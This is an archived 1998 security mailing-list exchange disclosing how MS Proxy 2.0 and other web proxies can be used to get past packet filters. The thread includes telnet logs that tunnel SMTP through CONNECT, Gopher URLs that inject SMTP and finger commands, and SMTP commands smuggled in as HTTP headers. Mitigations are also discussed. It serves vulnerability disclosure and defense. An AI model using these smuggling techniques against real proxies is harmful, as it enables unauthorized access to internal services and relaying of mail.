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Re: [NTSEC] By-passing MS Proxy 2.0 and others packet filtering
From: jct () EDELWEB FR (Jean-Christophe Touvet)
Date: Fri, 9 Oct 1998 07:46:38 +0200


Date: Thu, 08 Oct 1998 08:27:36 +0100
From:  "Mnemonix" <mnemonix () globalnet co uk>

Firstly it seems that most web-based proxies, not just MS Proxy, are
susceptible to this kind of attack. Thanks to Greg Jones and others for
doing some testing on this.

 Most proxies will understand CONNECT (used for SSL tunneling) as well. That's
definitely more efficient than POSTing through HTTP:

        % telnet proxy 80
        CONNECT foobar:25 HTTP/1.0

        220 foobar Sendmail 5.65 ready
        HELO dummy
        250 Hi, pleased to meet you
        QUIT
        221 foofar closing connection

 Before CONNECT existed, Gopher URLs had been sometimes useful, but I haven't
verified which proxies still understand them:

        GET gopher://foobar:25/0HELO%20dummy%0D%0AQUIT
        220 foobar Sendmail 5.65 ready
        250 Hi, pleased to meet you
        221 foofar closing connection

        GET gopher://foobar:79/0root
        Login name: root                        In real life: Operator
        Directory: /                            Shell: /bin/ksh
        On since Sep 28 17:35:56 on ttyq6       49 minutes Idle Time
        No unread mail
        No Plan.

 HTTP POST is limited: telnet, NetBios etc. will not work, while CONNECT will
pass them straightforward.

 It's a shame that some Firewall vendors don't allow to disable this feature
from their HTTP proxy, or at least by default restrict destination to ports
officially assigned to SSL services (443, 563 etc). That would limit attack
possibilities when, as you explained, the proxy can be used in both
directions.

 This is also why one should use "reversed" HTTP proxies with extreme care:
fwtk folks, for example, use plug-gw rather than http-gw for DMZ or internal
Web server access from the outside. Don't you ?

    -JCT-

Whilst playing around with Microsoft's Proxy Server 2, I came across an
interesting "feature" that could allow someone to by-pass packet
filtering
if enabled.
The essence of the "exploit" is to connect to a remote host on a given
port
- in the example provided I have used the SMTP port (25) - through the
Web
Proxy Service.

The Web-proxy is listening on TCP port 80. I telnet to port 80 and make an
HTTP request.

What you attempt to do is disguise service-specific commands as HTTP
headers. Below is a log of a telnet session where I've telnetted to the
Web
Proxy Service, made a GET request and passed off the SMTP commands as
HTTP
headers :


------------------------------------------8<--------------------------------

----------
GET http://smtpmail.globalnet.co.uk:25/ HTTP/1.0
mail from: me () here com
rcpt to: mnemonix () globalnet co uk
data :
Subject: This is the Subject Line
:
 This is the body of the message. To get here do a Ctrl+J. To place a
single dot on a line do another Ctrl+J
                                                          .

220 sand2.global.net.uk ESMTP Exim 1.92 #1 Wed, 7 Oct 1998 06:51:37 +0100
500 Command unrecognized
500 Command unrecognized
500 Command unrecognized
250 <me () here com> is syntactically correct
250 <mnemonix () globalnet co uk> is syntactically correct
354 Enter message, ending with "." on a line by itself
250 OK id=0zQmVd-0007md-00
500 Command unrecognized
500 Command unrecognized


------------------------------------------8<--------------------------------

---------


What is happening here is that the proxy interprets everything with line or
continuous string with a ":" (colon) as a header and so passes it on to the
final destination. The proxy server also adds some of its own HTTP headers
such as "Via: proxy_name", "Host: final_destination", "Connection:
Keep-Alive" as well as the orignal "GET / HTTP/1.0" (This is why you get
some "Command Unrecognised"s.

For a service like FTP or POP3 you can string all the commands together
like so:

GET http://some.server:21_or_110/ HTTP/1.0
:(CTRL+J)
 user whoever(CTRL+J)
   pass whatever(CTRL+J)
    stat(CTRL+J)
     etc = etc and finish with ENTER.




Note- everything is stored up and then on you pressing enter twice it is
sent to the target in a oner - the target buffers the headers and deals
with them sequentially. Some it understands - eg your stealthed-as-HTTP
headers and others it doesn't eg the real HTTP proxy headers.

Okay - that's the how - now what can be done with it?

Depending on the configuration of the proxy server it may allow external
attackers to come in off the internet and access services or machines
through a packet filter that ONLY allows incoming requests on port 80. Once
you are onto the proxy server requests are passed off the internal
interface to machines inside your "protected" LAN - making it as though the
packet filter was not there.

In publicly acessible proxies - attacks can be launched against other
machines across the Internet and to a certain degree hide the attacker's
own IP address on the target machine.

This method of attack can be used to by-pass IP address trust (or distrust)
mechanisms as well as to exploit with r* unix daemons.

There are many ways this can be exploited - too many to list in detail -
(I've got to go to work now ;-) but because of this I'd suggest as a
solution something like the following:

Rather than relying on the Admin to configure the proxy properly would it
not be safer to get the proxy to filter out unkown headers. For example
most browsers will specify a "User-Agent:" header - the proxy should pass
this through - but it should remove a non-standard "HTTP" header like "mail
from: me () here com" - since when do browsers use this as an HTTP header -
other than when used for subversive activities. There should also be a
mechanism where it will strip out headers containing the hex value \x08
(CTRL+J) - because you could do this :

User-Agent: Mozilla/2.0(CTRL+J)
  Command 1(CTRL+J)
   Command 2(CTRL+J)
    Command 3(CTRL+J)
     etc etc


This was tested on NT Server 4.0, Service Pack 3 with important hotfixes,
IIS 3.0 and MS Proxy 2.0

Originally - but as was stated other web-pased proxies are also
susceptible.

Cheers and l8r

 Mnemonix
 http://www.diligence.co.uk/
 http://www.infowar.co.uk/mnemonix



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